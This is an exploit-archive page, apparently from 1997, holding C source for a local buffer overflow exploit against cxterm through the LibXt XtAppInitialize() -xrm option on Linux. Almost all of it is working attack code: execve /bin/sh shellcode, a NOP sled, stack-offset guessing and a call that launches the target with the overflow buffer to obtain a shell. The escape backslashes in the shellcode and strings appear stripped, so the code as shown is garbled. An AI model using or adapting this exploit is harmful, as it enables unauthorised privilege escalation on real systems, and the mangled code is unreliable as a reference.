[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : LibXt XtAppInitialize() overflow *xterm exploit
# Published : 1997-05-14
# Author : Ming Zhang
# Previous Title : AIX lquerylv Local Root Buffer Overflow Exploit
# Next Title : Solaris 2.5.1 lp and lpsched Symlink Vulnerabilities
/*
cxterm buffer overflow exploit for Linux. This code is tested on
both Slackware 3.1 and 3.2.
Ming Zhang
mzhang@softcom.net
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define NOP_SIZE 1
char nop[] = "x90";
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
/* use a different offset if you find this program doesn't do the job */
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("Buy more RAM!n");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr,
"This bug is discovered by Ming Zhang
(mzhang@softcom.net)n");
/* Don't need to set ur DISPLAY to exploit this one, cool huh? */
execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}
// www.Syue.com [1997-05-14]